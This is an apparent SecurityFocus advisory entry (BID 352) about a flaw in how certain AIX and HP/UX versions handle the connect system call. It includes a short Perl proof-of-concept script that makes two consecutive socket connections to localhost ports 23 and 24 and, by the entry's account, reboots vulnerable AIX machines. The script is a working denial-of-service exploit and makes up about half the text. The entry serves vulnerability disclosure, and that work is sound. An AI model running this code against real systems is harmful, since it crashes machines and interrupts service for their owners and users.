source: http://www.securityfocus.com/bid/352/info Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter. #!/usr/local/bin/perl5 use Socket; socket (SOCK,AF_INET,SOCK_STREAM,0); $iaddr = inet_aton('localhost'); $paddr = sockaddr_in('23',$iaddr); connect SOCK,$paddr; shutdown SOCK,2; $paddr = sockaddr_in('24',$iaddr); connect SOCK,$paddr;